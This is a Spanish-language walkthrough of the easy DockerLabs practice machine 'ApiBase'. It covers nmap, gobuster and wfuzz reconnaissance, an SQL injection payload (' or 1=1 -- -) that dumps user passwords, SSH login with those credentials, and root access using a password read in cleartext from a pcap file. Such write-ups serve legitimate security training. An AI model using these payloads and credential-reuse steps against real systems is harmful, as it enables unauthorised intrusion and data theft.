> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/apibase.md).

# ApiBase

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ApiBase** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos `7z` para extraer el contenido del archivo comprimido:

```bash
7z x apibase.zip
```

<figure><img src="/files/KdBpVUtYf9r62vdA9Jtq" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script (`auto_deploy.sh`) para levantar la máquina en Docker:

```bash
bash auto_deploy.sh apibase.tar
```

<figure><img src="/files/zJ0qwQdMn6vIfmZNEueT" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/vLZAxIoObhBbdOpMujf7" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (1-65535).
* `--open`: Muestra solo puertos abiertos.
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-vvv`: Máximo nivel de verbosidad.
* `-n`: Evita resolución DNS.
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 5000:** `UPNP`.

<figure><img src="/files/h3yF7abSgO4s1XekTxj7" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Realizamos un escaneo detallado para obtener más información de los puertos abiertos:

```bash
nmap -p22,5000 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,5000`: Especifica los puertos que se desea escanear, en este caso, el puerto 22 y el puerto 5000.
* `-sCV`: Escaneo de versiones (`-sV`) y ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda la salida en formato normal, en el archivo `targeted`.

**Resultados:**

* **Puerto 22:** OpenSSH 8.4p1.
* **Puerto 5000:** Servidor HTTP Werkzeug 1.0.1 (Python 3.9.2), que muestra un mensaje en formato JSON.

<figure><img src="/files/oy3V3FRQipPlE0rkD2Wu" alt=""><figcaption></figcaption></figure>

**4. Análisis del Servicio Web:**

Accedemos al servicio web en `http://172.17.0.2:5000/` y encontramos el siguiente mensaje:

```json
message: "No endpoint selected. Please use /add to add a user or /users to query users."
```

Esto nos indica que existen dos rutas potenciales: `/add` y `/users`.

<figure><img src="/files/4R689ZkTzhxRPsp719J2" alt=""><figcaption></figcaption></figure>

**5. Fuerza Bruta de Directorios y Archivos:**

Buscamos directorios y archivos ocultos con `gobuster`:

```bash
gobuster dir -u http://172.17.0.2:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

**Explicación de los parámetros:**

* `dir`: Modo de descubrimiento de directorios.
* `-u`: URL objetivo.
* `-w`: Wordlist utilizada para el descubrimiento.
* `-x`: Extensiones de archivo a buscar.

**Rutas detectadas:**

* `/users` -> `http://172.17.0.2:5000/users`.
* `/add` -> `http://172.17.0.2:5000/add`.
* `/console` -> `http://172.17.0.2:5000/console`.

<figure><img src="/files/ebalNz5va9rDFXT9xTrb" alt=""><figcaption></figcaption></figure>

**6. Análisis de las Rutas Encontradas:**

**6.1. Ruta `/console`:**

Al acceder a esta ruta (`http://172.17.0.2:5000/console`), recibimos el siguiente mensaje de error:

```html
Bad Request

The browser (or proxy) sent a request that this server could not understand.
```

**Interpretación del error:**

* El mensaje "Bad Request" nos indica que el servidor no entiende la solicitud que le estamos enviando.
* Esto nos sugiere que la ruta `/console` podría estar protegida.
* Es probable que se trate de una consola interna restringida, accesible solo bajo condiciones particulares (como autenticación, cabeceras específicas o acceso desde una IP autorizada).

<figure><img src="/files/K1a62BkYVbvqNJnq5QGW" alt=""><figcaption></figcaption></figure>

**6.2. Ruta `/add`:**

Al acceder a esta ruta (`http://172.17.0.2:5000/add`), obtenemos el siguiente mensaje:

```html
Method Not Allowed

The method is not allowed for the requested URL.
```

**Interpretación del error:**

* El mensaje "Method Not Allowed" nos indica que el método HTTP que estamos utilizando (probablemente `GET`) no está permitido para esta ruta.
* Esto sugiere que `/add` podría requerir otro método, como `POST`, para funcionar correctamente.
* En este estado, no podemos acceder al recurso, ya que el servidor rechaza nuestra solicitud.

<figure><img src="/files/wk7ujZSnaJ4mZCIeAKfh" alt=""><figcaption></figcaption></figure>

**6.3. Ruta `/users`:**

Al acceder a esta ruta (`http://172.17.0.2:5000/users`), el servidor nos responde con el siguiente mensaje de error:

```json
error: "Invalid parameter"
```

**Interpretación del error:**

* El mensaje indica que la solicitud enviada contiene un parámetro incorrecto o que falta un parámetro obligatorio que no estamos proporcionando.

<figure><img src="/files/6MVcIsBWcw6R6IUp8nML" alt=""><figcaption></figcaption></figure>

**7. Fuerza Bruta de Parámetros:**

Usamos `wfuzz` para descubrir el parámetro válido:

```bash
wfuzz -c --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?FUZZ="
```

**Explicación de los parámetros:**

* `-c`: Activa la salida en color, lo que facilita la lectura de los resultados en la terminal.
* `--hc=404`: Oculta las respuestas con el código de estado HTTP 404 (Not Found).
* `-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Especifica el diccionario de palabras que se utilizarán para el ataque.
* `-u "http://172.17.0.2:5000/users?FUZZ="`: Define la URL objetivo y el punto donde se insertarán las palabras del diccionario (`FUZZ`).

**Resultado:** El parámetro válido es `username`.

<figure><img src="/files/ycS8Ps9sgZF3tJY6O9tN" alt=""><figcaption></figcaption></figure>

Al acceder con el parámetro `username` (`http://172.17.0.2:5000/users?username=`), el servidor nos responde con el siguiente mensaje:

```json
message: "Enter your username"
```

**Interpretación del mensaje:**

* El servidor nos está solicitando que introduzcamos un nombre de usuario válido.
* Esto confirma que el parámetro `username` es reconocido y esperado por la aplicación.
* A diferencia del error anterior ("Invalid parameter"), ahora la ruta responde correctamente, pero requiere un valor específico para continuar.

<figure><img src="/files/DMfE67O3Uvduu0ujJKxc" alt=""><figcaption></figcaption></figure>

Vamos a realizar un ataque de fuerza bruta como antes para encontrar un usuario válido:

```bash
wfuzz -c --hc=404 --hh=39 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?username=FUZZ"
```

Encontramos que una comilla (`'`) es una entrada correcta.

<figure><img src="/files/bMsLfrGD0exdYtDJRED8" alt=""><figcaption></figcaption></figure>

Al introducir la comilla simple (`http://172.17.0.2:5000/users?username='`), obtenemos un error de SQLite, lo que indica una posible vulnerabilidad de SQL Injection.

<figure><img src="/files/rI7owo9ZUJthqWhO7iqb" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Inyección SQL (SQLi):**

Probamos una inyección clásica:

```
http://172.17.0.2:5000/users?username=' or 1=1 -- -
```

**Explicación:**

* `'`: Cierra la cadena abierta por el backend.
* `or 1=1`: Siempre se cumple, devolviendo todos los registros.
* `-- -`: Comenta el resto de la consulta SQL original.

**Resultado:** Accedemos a datos internos de usuarios:

```json
[
  {
    "id": 1,
    "username": "pingu",
    "password": "your_password"
  },
  {
    "id": 2,
    "username": "pingu",
    "password": "pinguinasio"
  }
]
```

<figure><img src="/files/590Rynloo6HUxajyhfwg" alt=""><figcaption></figcaption></figure>

**2. Acceso SSH:**

Con estas credenciales intentamos conectarnos por SSH:

```bash
ssh pingu@172.17.0.2
```

**Resultado:** Acceso exitoso a la máquina objetivo con el usuario `pingu`.

<figure><img src="/files/lHyPGliqvqY47ztseawr" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Análisis del Archivo `network.pcap`:**

Dentro del directorio `/home` del usuario `pingu`, encontramos un archivo llamado `network.pcap`.

<figure><img src="/files/G0zVgRjA0sxMK3qg2ndN" alt=""><figcaption></figcaption></figure>

Analizamos su contenido:

```bash
cat network.pcap
```

**Resultado:** El archivo contiene credenciales en texto claro para el usuario `root`:

```bash
�ò����&�gVF((E(@"���P .�&�g@G((E(@O��P [�&�g�G((E(@"���P .�&�g3H33E3@"���P aRLOGIN root
&�g
   I66E6@"���P ��PASS balulero
&�g�I66E6@O��P �Access Denied
```

<figure><img src="/files/ihxpoECyyGcOq9poAb6I" alt=""><figcaption></figcaption></figure>

**2. Acceso como Root:**

Utilizamos las credenciales encontradas anteriormente para acceder como `root`:

```bash
su root
```

Introducimos la contraseña `balulero` y confirmamos que tenemos acceso privilegiado al sistema.

<figure><img src="/files/yz25EegUxfJytul9wVUA" alt=""><figcaption></figcaption></figure>
